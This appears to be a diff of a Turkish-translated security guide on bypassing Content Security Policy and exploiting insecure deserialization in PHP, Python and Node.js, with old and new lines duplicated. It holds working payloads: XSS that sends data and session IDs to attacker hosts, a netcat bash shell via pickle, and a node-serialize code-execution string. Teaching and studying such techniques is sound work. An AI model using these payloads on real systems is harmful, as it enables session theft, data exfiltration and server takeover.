Önceki tabloda belirtilen diğer yedi üçüncü taraf alanı için, onları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### RPO (Relative Path Overwrite) ile Bypass <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Yukarıda bahsedilen yol kısıtlamalarını aşmak için yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.
Yol kısıtlamalarını aşmak için daha önce bahsedilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.
Örneğin, eğer CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, bu yol aşağıdaki gibiılabilir:
Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekildeılabilir:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
@ -343,7 +343,7 @@ Tarayıcı nihayetinde `https://example.com/scripts/angular/angular.js` dosyası
Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosyayı yüklüyorsunuz gibi çalışır ve bu CSP ile uyumludur.
∑, bunu çözecekler ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar, bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
∑, bunu çözerek, aslında `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar ki bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.**
@ -368,7 +368,7 @@ Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL'si ku
```
### AngularJS olayları
Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Ancak, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirine dahil olan bir nesne dizisini tutan bir `path` niteliğine sahiptir; `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.
Belirli bir politika olan İçerik Güvenlik Politikası (CSP), JavaScript olaylarını kısıtlayabilir. Ancak, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirinde yer alan nesne dizisini tutan bir `path` niteliğine sahiptir ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.
Bu diziyi `orderBy` filtresine yönlendirerek, dizinin üzerinde yineleme yapmak ve terminal öğeyi (yani `window` nesnesini) kullanarak `alert()` gibi küresel bir fonksiyonu tetiklemek mümkündür. Aşağıda gösterilen kod parçası bu süreci açıklamaktadır:
```xml
@ -395,11 +395,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
```
Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) bulunabilir (bazıları silindi veya düzeltildi)
### Yönlendirme ile Atlatma
### Yönlendirme ile Bypass
CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme, izin verilmeyen farklı bir kaynağa yönlendirirse, yine de başarısız olacaktır.
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendirirse, orijinal kısıtlamaları atlayabilir.
Ancak, [CSP spesifikasyonu 4.2.2.3. Yollar ve Yönlendirmeler](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) açıklamasına göre, eğer yönlendirme farklı bir yola yönlendirirse, orijinal kısıtlamaları aşabilir.
İşte bir örnek:
```html
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` kodun içinde herhangi bir script çalıştırabileceğiniz anlamına gelir (XSS kod çalıştırabilir) ve `img-src *` ise web sayfasında herhangi bir kaynaktan herhangi bir resmi kullanabileceğiniz anlamına gelir.
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi'yi kötüye kullanır ve bir resim aracılığıyla bayrağı çıkarır):
Bu CSP'yi, verileri resimler aracılığıyla dışarı sızdırarak atlatabilirsiniz (bu durumda XSS, bot tarafından erişilebilen bir sayfada bir SQLi içeren bir CSRF'yi istismar eder ve bir resim aracılığıyla bayrağı çıkarır):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS** kodunu **çalıştırmak** için "**unsafe-inline**" özelliğini **kötüye kullanabilirsiniz** (normal bir XSS gibi) ve bu, **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Bu yapılandırmayı **bir resmin içine yerleştirilmiş javascript kodunu yüklemek için** de kötüye kullanabilirsiniz. Örneğin, sayfa Twitter'dan resim yüklemeye izin veriyorsa, **özel bir resim** **oluşturabilir**, bunu Twitter'a **yükleyebilir** ve **JS**'yi **çalıştırmak** için "**unsafe-inline**"ı **kötüye kullanabilirsiniz** (normal bir XSS gibi) ve bu, **resmi yükleyecek**, içinden **JS**'yi **çıkartacak** ve **çalıştıracaktır**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Service Workers ile
@ -462,25 +462,25 @@ Service workers **`importScripts`** fonksiyonu CSP tarafından sınırlı değil
#### Chrome
Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration** kısmına **yapıştırılıyorsa**, o zaman **politikayı** onu **işe yaramaz** hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**:
Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration**'ına **yapıştırılıyorsa**, o zaman **politikayı** işe yaramaz hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Bu direktif mevcut script-src direktiflerini **üstüne yazacağı** için.\
Bu direktif mevcut script-src direktiflerini **üstüne yazacaktır**.\
Bir örneği burada bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politika**yı **sil**er.\
Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politikayı** **silip atar**.\
Örnek: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Zaman saldırısı
`'unsafe-inline'` direktifinin eksikliğine dikkat edin.\
Bu sefer kurbanı **XSS** ile **kontrolünüzdeki** bir sayfayı **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken zamanı **kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
Bu sefer kurbanı **XSS** ile **kontrolünüzdeki** bir sayfayı **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken zamanı **kontrol edebiliyorsanız** gerekli bilgileri çıkarabilirsiniz.
Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi ile **yanıt** **daha uzun** sürer çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi ile **yanıt** **daha uzun** sürecektir çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -540,15 +540,15 @@ console.log(prefix)
run()
</script>
```
### Via Bookmarklets
### Yer İmleri Aracılığıyla
Bu saldırı, saldırganın **kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi** anlamına gelir. Bu yer imi, **kötü niyetli javascript** kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya** olanak tanıyacaktır.
Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP'yi kısıtlayarak CSP atlatma
### CSP'yi Kısıtlayarak CSP'yi Atlamak
[**bu CTF yazımında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **DOM clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.
[**bu CTF yazımında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlanmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **dom clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.
Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
```html
@ -568,7 +568,7 @@ content="script-src 'self'
```
### JS exfiltrasyonu ile Content-Security-Policy-Report-Only
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilirsiniz ve eğer **sızdırmak istediğiniz** **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından `unsafe-inline`'in muhtemelen izin verilmediği için, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve eğer **exfiltrate** etmek istediğiniz **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından `unsafe-inline`'in muhtemelen izin verilmediği için, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
Bir örnek için [**bu CTF yazımına göz atın**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -599,18 +599,18 @@ Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inc
### Çok fazla parametre olduğunda PHP Hataları
Bu [**videoda yorumlanan son teknik**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre göndermek (1001 GET parametresi, ancak POST parametreleriyle ve 20'den fazla dosyayla da yapabilirsiniz). PHP web kodunda tanımlı olan **`header()`** **gönderilmeyecek** çünkü bu bir hata tetikleyecektir.
Bu [**videoda yorumlanan son teknik**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre göndermek (1001 GET parametresi, ancak POST parametreleriyle ve 20'den fazla dosyayla da yapılabilir). PHP web kodunda tanımlı olan **`header()`** **gönderilmeyecek** çünkü bu bir hata tetikleyecektir.
### PHP yanıt tamponu aşırı yüklenmesi
PHP, varsayılan olarak **yanıtı 4096** bayt olarak **tamponlamasıyla** bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, **uyarılar içinde yeterli veri sağlayarak**, **yanıt** **CSP başlığından önce** **gönderilecektir**, bu da başlığın göz ardı edilmesine neden olur.\
PHP, varsayılan olarak **yanıtı 4096** bayt olarak **tamponlamasıyla** bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, **uyarıların içine yeterli veri sağlayarak**, **yanıt** **CSP başlığından önce** **gönderilecektir**, bu da başlığın göz ardı edilmesine neden olur.\
Bu durumda, teknik esasen **CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan** ibarettir.
[**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) bir fikir.
### Hata Sayfasını Yeniden Yazma
[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak CSP korumasını aşmak mümkün görünmektedir.
[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak bir CSP korumasını aşmak mümkün görünmektedir.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -619,20 +619,20 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME, bir sayfanın **bir uç noktasında** XSS (veya çok sınırlı XSS) **istismar eden** bir tekniktir. Bu, saldırgan sayfasından savunmasız uç noktanın yüklenmesi ve ardından istismar etmek istediğiniz aynı kök içindeki gerçek uç noktaya saldırgan sayfasının yenilenmesiyle yapılır. Bu şekilde, **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **istismar etmek için gerçek uç noktanın DOM'una** **erişebilir**. Daha fazla bilgi için kontrol edin:
SOME, bir sayfanın **bir uç noktasında** XSS (veya çok sınırlı XSS) **istismar eden** bir tekniktir, **aynı kökene ait diğer uç noktaları istismar etmek için.** Bu, saldırgan sayfasından savunmasız uç noktanın yüklenmesi ve ardından istismar etmek istediğiniz aynı kökende gerçek uç noktaya saldırgan sayfasının yenilenmesiyle yapılır. Bu şekilde, **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **istismar etmek için gerçek uç noktanın DOM'una** **erişebilir.** Daha fazla bilgi için kontrol edin:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Ayrıca, **wordpress**'te `/wp-json/wp/v2/users/1?_jsonp=data` adresinde **JSONP** uç noktası bulunmaktadır ve bu uç nokta, çıktıda gönderilen **verileri** **yansıtacaktır** (yalnızca harf, rakam ve noktalarla sınırlıdır).
Ayrıca, **wordpress**'te `/wp-json/wp/v2/users/1?_jsonp=data` adresinde **JSONP** uç noktası bulunmaktadır ve bu uç nokta, çıktıda gönderilen **veriyi** **yansıtacaktır** (yalnızca harf, rakam ve noktalarla sınırlıdır).
Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenmiş** olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) adresini kontrol edin.
## CSP Exfiltration Bypasses
Eğer dış sunucularla **etkileşimde bulunmanıza** izin vermeyen katı bir CSP varsa, bilgileri dışarıya çıkarmak için her zaman yapabileceğiniz bazı şeyler vardır.
Eğer dış sunucularla **etkileşimde bulunmanıza** izin vermeyen katı bir CSP varsa, bilgileri dışarı aktarmak için her zaman yapabileceğiniz bazı şeyler vardır.
### Location
@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid
```
### Meta etiketi
Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, içerik sızdırmaz)
Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik sızdırmaz)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
Birçok sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz.
Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda bir göz atın:
Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda göz atın:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

View File

@ -4,9 +4,9 @@
## Temel Bilgiler
**Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur.
**Serialization**, bir nesneyi saklanabilir bir formata dönüştürme yöntemi olarak anlaşılmaktadır; bu, nesneyi depolama veya bir iletişim sürecinin parçası olarak iletme amacı taşır. Bu teknik, nesnenin daha sonra yeniden oluşturulabilmesini sağlamak için yaygın olarak kullanılır ve yapısını ve durumunu korur.
**Deserialization** ise, tersine, serileştirmeyi etkisiz hale getiren bir süreçtir. Belirli bir formatta yapılandırılmış verileri almayı ve bunları tekrar bir nesne haline getirmeyi içerir.
**Deserialization** ise, tersine, serileştirmeyi etkisiz hale getiren bir süreçtir. Belirli bir formatta yapılandırılmış verileri alıp, tekrar bir nesne haline getirmeyi içerir.
Deserialization tehlikeli olabilir çünkü potansiyel olarak **saldırganların serileştirilmiş verileri manipüle ederek zararlı kod çalıştırmalarına** veya nesne yeniden yapılandırma sürecinde uygulamada beklenmedik davranışlar yaratmalarına olanak tanır.
@ -18,7 +18,7 @@ PHP'de, serileştirme ve deserialization süreçlerinde belirli sihirli yönteml
- `__wakeup`: Bir nesne deserialized edilirken çağrılır. Serileştirme sırasında kaybolmuş olabilecek veritabanı bağlantılarını yeniden kurmak ve diğer yeniden başlatma görevlerini yerine getirmek için kullanılır.
- `__unserialize`: Bu yöntem, bir nesne deserialized edilirken `__wakeup` yerine çağrılır (varsa). Deserialization süreci üzerinde `__wakeup`'a kıyasla daha fazla kontrol sağlar.
- `__destruct`: Bu yöntem, bir nesne yok edilmek üzereyken veya script sona erdiğinde çağrılır. Genellikle dosya tanıtıcılarını veya veritabanı bağlantılarını kapatmak gibi temizlik görevleri için kullanılır.
- `__toString`: Bu yöntem, bir nesnenin bir dize olarak muamele görmesini sağlar. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini etkili bir şekilde sağlar.
- `__toString`: Bu yöntem, bir nesnenin bir string olarak işlenmesine olanak tanır. Bir dosyayı okumak veya içindeki işlev çağrılarına dayalı diğer görevler için kullanılabilir ve nesnenin metinsel bir temsilini sağlar.
```php
<?php
class test {
@ -74,7 +74,7 @@ This is a test<br />
*/
?>
```
Eğer sonuçlara bakarsanız, nesne serileştirildiğinde **`__wakeup`** ve **`__destruct`** fonksiyonlarının çağrıldığını görebilirsiniz. Birçok eğitimde **`__toString`** fonksiyonunun bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu **artık olmuyor**.
Eğer sonuçlara bakarsanız, **`__wakeup`** ve **`__destruct`** fonksiyonlarının nesne serileştirildiğinde çağrıldığını görebilirsiniz. Birçok eğitimde **`__toString`** fonksiyonunun bazı özellikleri yazdırmaya çalışırken çağrıldığını göreceksiniz, ancak görünüşe göre bu **artık olmuyor**.
> [!WARNING]
> Eğer sınıfta uygulanmışsa, **`__unserialize(array $data)`** metodu **`__wakeup()`** yerine çağrılır. Bu, serileştirilmiş veriyi bir dizi olarak sağlayarak nesneyi serileştirmeye olanak tanır. Bu metodu, özellikleri serileştirmek ve serileştirme sırasında gerekli görevleri yerine getirmek için kullanabilirsiniz.
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
### Referans Değerleri Serileştirme
Herhangi bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek isterseniz:
Eğer bir nedenle bir değeri **başka bir serileştirilmiş değere referans olarak** serileştirmek istiyorsanız, bunu yapabilirsiniz:
```php
<?php
class AClass {
@ -119,11 +119,11 @@ $ser=serialize($o);
[**PHPGGC**](https://github.com/ambionics/phpggc) PHP deserialization'larını kötüye kullanmak için payload'lar oluşturmanıza yardımcı olabilir.\
Uygulamanın kaynak kodunda bir deserialization'ı kötüye kullanmanın bir yolunu **bulamayabileceğinizi** unutmayın, ancak **harici PHP uzantılarının kodunu kötüye kullanabilirsiniz.**\
Bu nedenle, mümkünse, sunucunun `phpinfo()`'sunu kontrol edin ve **internet üzerinde** (hatta **PHPGGC**'nin **gadgets**'lerinde) kötüye kullanabileceğiniz bazı olası gadget'ları arayın.
Bu nedenle, mümkünse, sunucunun `phpinfo()`'sunu kontrol edin ve **internette** (hatta **PHPGGC**'nin **gadgets**'lerinde) kötüye kullanabileceğiniz bazı olası gadget'ları arayın.
### phar:// metadata deserialization
Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin _**file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()**_** gibi fonksiyonlar kullanarak.** **phar** protokolünü kullanarak bir **dosya** okurken meydana gelen bir **deserialization**'ı kötüye kullanmayı deneyebilirsiniz.\
Eğer sadece dosyayı okuyan ve içindeki php kodunu çalıştırmayan bir LFI bulduysanız, örneğin _**file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize()**_** gibi fonksiyonlar kullanarak.** **phar** protokolünü kullanarak bir **dosya** **okurken** meydana gelen bir **deserialization**'ı kötüye kullanmayı deneyebilirsiniz.\
Daha fazla bilgi için aşağıdaki gönderiyi okuyun:
{{#ref}}
@ -143,7 +143,7 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
`print(base64.b64encode(pickle.dumps(P(),2)))` kullanarak python3 çalıştırıyorsanız python2 ile uyumlu bir nesne oluşturmayı deneyin.
Önce bypass tekniğini kontrol etmeden önce, python3 çalıştırıyorsanız `print(base64.b64encode(pickle.dumps(P(),2)))` kullanarak python2 ile uyumlu bir nesne oluşturmayı deneyin.
**pickle jails**'dan kaçış hakkında daha fazla bilgi için kontrol edin:
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
Aşağıdaki sayfa, **yamls** python kütüphanelerinde **güvensiz deserialization'ı kötüye kullanma** tekniğini sunmakta ve **Pickle, PyYAML, jsonpickle ve ruamel.yaml** için RCE deserialization yükü oluşturmak üzere kullanılabilecek bir araçla sona ermektedir:
Aşağıdaki sayfa, **yamls** python kütüphanelerinde **güvensiz deserialization'ı kötüye kullanma** tekniğini sunmakta ve **Pickle, PyYAML, jsonpickle ve ruamel.yaml** için RCE deserialization yükü oluşturmak için kullanılabilecek bir araçla bitmektedir:
{{#ref}}
python-yaml-deserialization.md
@ -169,10 +169,10 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; sadece bir nesne oluşturmak için çalıştırılacak. Ancak, **doğrudan çağrılmadan** bile **sıklıkla kullanılan** bazı **fonksiyonlar** vardır, örneğin **`toString`**, **`valueOf`**, **`toJSON`**.\
Eğer bir deserialization'ı kötüye kullanıyorsanız, bu fonksiyonları **diğer kodları çalıştırmak için tehlikeye atabilirsiniz** (potansiyel olarak prototype pollution'ı kötüye kullanarak) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz.
JS **PHP veya Python gibi "sihirli" fonksiyonlara** sahip değildir; bu fonksiyonlar yalnızca bir nesne oluşturmak için çalıştırılacaktır. Ancak, **doğrudan çağrılmadan** bile **sıklıkla kullanılan bazı fonksiyonlar** vardır, örneğin **`toString`**, **`valueOf`**, **`toJSON`**.\
Eğer bir deserialization'ı kötüye kullanıyorsanız, bu fonksiyonları **diğer kodları çalıştırmak için tehlikeye atabilirsiniz** (potansiyel olarak prototype kirliliğini kötüye kullanarak) ve çağrıldıklarında rastgele kod çalıştırabilirsiniz.
Başka bir **"sihirli" yol**, bir fonksiyonu doğrudan çağırmadan **bir async fonksiyondan dönen bir nesneyi tehlikeye atarak** çağırmaktır (promise). Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
Bir fonksiyonu doğrudan çağırmadan **"sihirli" bir şekilde çağırmanın** başka bir yolu, **bir async fonksiyondan dönen bir nesneyi tehlikeye atmaktır** (promise). Çünkü, eğer o **dönüş nesnesini** **"then" adında bir fonksiyon türünde bir **özellik** ile başka bir **promise**'e **dönüştürürseniz**, bu, başka bir promise tarafından döndürüldüğü için **çalıştırılacaktır**. _Daha fazla bilgi için_ [_**bu bağlantıyı**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _takip edin._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -219,7 +219,7 @@ var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
```
**serileştirilmiş nesne** şöyle görünecektir:
**Serileştirilmiş nesne** şöyle görünecektir:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
@ -234,8 +234,8 @@ console.log("Serialized: \n" + payload_serialized)
Son kod parçasında görebileceğiniz gibi, **eğer bayrak bulunursa** `eval` fonksiyonu kullanılarak fonksiyon serileştirilir, bu nedenle temelde **kullanıcı girişi `eval` fonksiyonu içinde kullanılmaktadır**.
Ancak, **sadece bir fonksiyonu serileştirmek** **onu çalıştırmaz**, çünkü kodun bir kısmının **`y.rce`'yi çağırması** gerekir ve bu oldukça **olasılık dışıdır**.\
Yine de, serileştirilmiş nesneyi **değiştirerek** **bazı parantezler ekleyerek** nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\
Son kod parçasında **son parantezi** ve `unserialize` fonksiyonunun kodu otomatik olarak nasıl çalıştıracağını gözlemleyin:
Yine de, serileştirilmiş nesneyi **bazı parantezler ekleyerek** **değiştirerek**, nesne serileştirildiğinde serileştirilmiş fonksiyonun otomatik olarak çalışmasını sağlayabilirsiniz.\
